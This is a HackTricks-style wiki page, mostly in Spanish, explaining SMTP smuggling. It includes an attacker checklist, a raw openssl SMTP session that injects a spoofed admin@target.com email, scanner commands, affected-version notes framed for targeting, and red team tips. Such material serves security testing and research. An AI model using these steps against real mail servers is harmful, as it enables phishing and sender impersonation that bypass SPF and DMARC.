SMTP Smuggling

Reading time: 7 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

Este tipo de vulnerabilidad fue originalmente descubierta en este post donde se explica que es posible explotar discrepancias en cómo se interpreta el protocolo SMTP al finalizar un correo, permitiendo a un atacante introducir más correos en el cuerpo del legítimo, posibilitando suplantar a otros usuarios del dominio afectado (por ejemplo admin@outlook.com) y eludiendo defensas como SPF.

Por qué

Esto se debe a que en el protocolo SMTP, los datos del mensaje a enviar en el correo son controlados por un usuario (atacante) que puede enviar datos especialmente construidos abusando de diferencias en los parsers que introducirán correos adicionales en el receptor. Mira este ejemplo ilustrado del post original:

https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png

Cómo

Para explotar esta vulnerabilidad un atacante necesita enviar datos que el servidor SMTP saliente cree que es solo 1 correo pero el servidor SMTP entrante crea que son varios correos.

Los investigadores descubrieron que diferentes servidores entrantes consideran distintos caracteres como el fin de los datos del mensaje de correo, que los servidores salientes no lo hacen.
Por ejemplo, un final regular de los datos es \r\n.\r. Pero si el servidor SMTP entrante también soporta \n., un atacante podría simplemente añadir ese dato en su correo y empezar a indicar los comandos SMTP de nuevos mensajes para introducirlos, tal como en la imagen anterior.

Por supuesto, esto solo funcionaría si el servidor SMTP saliente no trata también ese dato como el fin de los datos del mensaje, porque en ese caso vería 2 correos en vez de 1; en definitiva, se abusa de esa desincronización en esta vulnerabilidad.

Datos potenciales de desincronización:

  • \n.
  • \n.\r

También observa que SPF es eludido porque si introduces un correo desde admin@outlook.com dentro de un correo de user@outlook.com, el remitente sigue siendo outlook.com.

Lista de comprobación del atacante (¿qué condiciones deben cumplirse?)

Para smugglear con éxito un segundo correo, normalmente necesitas:

  • Un servidor saliente A por el que puedas enviar (a menudo con credenciales válidas) que reenvíe una secuencia de fin‑de‑DATA no estándar sin modificar. Muchos servicios históricamente reenviaban variantes como \n.\r\n o \n.\n.
  • Un servidor receptor B que interprete esa secuencia no estándar como fin‑de‑DATA y luego parsee lo que siga como nuevos comandos SMTP (MAIL/RCPT/DATA...).
  • El saliente debe realmente enviar con DATA (no BDAT). Si A soporta CHUNKING/BDAT, el smuggling solo funciona si cae de vuelta a DATA (por ejemplo, si B no anuncia CHUNKING), de lo contrario BDAT con longitud evita la ambigüedad.
  • PIPELINING no es obligatorio pero ayuda a ocultar los comandos inyectados en una sola escritura TCP para que dispositivos intermedios no resincronicen.

Variantes comunes de fin‑de‑DATA que vale la pena probar (dependen del receptor):

  • \n.\n
  • \n.\r\n
  • \r.\r\n
  • \r\n.\r (CR suelto al final)

Nota: Lo que funciona es la intersección de “lo que A reenvía” ∩ “lo que B acepta”.

Ejemplo de explotación manual (sesión única)

Lo siguiente muestra la idea usando una sesión SMTP STARTTLS en crudo. Después del primer bloque DATA insertamos un terminador no estándar, y luego otro diálogo SMTP que el servidor receptor puede tratar como un nuevo mensaje.

Sesión manual de smuggling (STARTTLS) ``` $ openssl s_client -starttls smtp -crlf -connect smtp.example.com:587 EHLO a.example AUTH PLAIN MAIL FROM: RCPT TO: DATA From: User To: victim Subject: legit

hello A \n.\r\nMAIL FROM:admin@target.com RCPT TO:victim@target.com DATA From: Admin admin@target.com To: victim victim@target.com Subject: smuggled

hello B \r\n.\r\n

If A forwards `\n.\r\n` and B accepts it as end‑of‑DATA, message “hello B” may be accepted as a second email from `admin@target.com` while passing SPF (aligned with A’s IPs).

</details>

Tip: When testing interactively, ensure `-crlf` is used so OpenSSL preserves CRLF in what you type.

---

## Automatización y scanners

- hannob/smtpsmug: envía un mensaje que termina con múltiples secuencias de end‑of‑DATA malformadas para ver qué acepta un receptor.
- Example: `./smtpsmug -s mail.target.com -p 25 -t victim@target.com`
- The‑Login/SMTP‑Smuggling‑Tools: scanner para los lados inbound y outbound, además de un servidor SMTP de análisis para ver exactamente qué secuencias sobreviven a un sender.
- Inbound quick check: `python3 smtp_smuggling_scanner.py victim@target.com`
- Outbound via a relay: `python3 smtp_smuggling_scanner.py YOUR@ANALYSIS.DOMAIN --outbound-smtp-server smtp.relay.com --port 587 --starttls --sender-address you@relay.com --username you@relay.com --password '...'
`

Estas herramientas te ayudan a mapear los pares A→B donde el smuggling realmente funciona.

---

## CHUNKING/BDAT vs DATA

- DATA uses a sentinel terminator `<CR><LF>.<CR><LF>`; any ambiguity in how CR/LF are normalized or dot‑stuffed leads to desync.
- CHUNKING (BDAT) frames the body with an exact byte length and therefore prevents classic smuggling. However, if the sender falls back to DATA (because the receiver doesn’t advertise CHUNKING), classic smuggling becomes possible again.

---

## Notas sobre software afectado y fixes (para targeting)

- Postfix: prior to 3.9 the default tolerated bare LFs; from 3.5.23/3.6.13/3.7.9/3.8.4 admins can enable `smtpd_forbid_bare_newline`. Current recommendation is `smtpd_forbid_bare_newline = normalize` (3.8.5+/3.7.10+/3.6.14+/3.5.24+) or set to `reject` for strict RFC enforcement.
- Exim: fixed in 4.97.1 (and later) for variants relying on mixed end‑of‑DATA sequences when DATA is used. Older 4.97/4.96 may be exploitable depending on PIPELINING/CHUNKING.
- Sendmail: fixed in 8.18; older 8.17.x accepted some non‑standard terminators.
- Various libraries/servers (e.g., aiosmtpd before 1.4.5, some vendor gateways, and specific SaaS relays) had similar issues; modern versions tend to accept DATA only with strict `<CR><LF>.<CR><LF>`.

Use the scanners above to verify current behavior; many vendors changed defaults in early 2024–2025.

---

## Consejos para red team ops

- Prefiere remitentes commodity grandes para A (históricamente Exchange Online, shared hosters, etc.). Si todavía reenvían algún EOM no estándar y están en el SPF de la víctima, tu MAIL FROM smuggled heredará su reputación.
- Enumera las extensiones SMTP de B: banner `EHLO` para PIPELINING/CHUNKING; si CHUNKING falta tienes más posibilidades desde senders que usan BDAT primero. Combínalo con EOMs malformados para sondear la aceptación.
- Observa los headers: el mensaje smuggled normalmente creará una cadena Received separada empezando en B. DMARC frecuentemente pasará porque MAIL FROM se alinea con el espacio IP de A.

---

## **References**

- [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
- [https://www.postfix.org/smtp-smuggling.html](https://www.postfix.org/smtp-smuggling.html)

<div class="mdbook-alerts mdbook-alerts-tip">
<p class="mdbook-alerts-title">
  <span class="mdbook-alerts-icon"></span>
  tip
</p>


Aprende y practica Hacking en AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
Aprende y practica Hacking en GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
Aprende y practica Hacking en Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">

<details>

<summary>Apoya a HackTricks</summary>

- Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
- **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
- **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.

</details>

</div>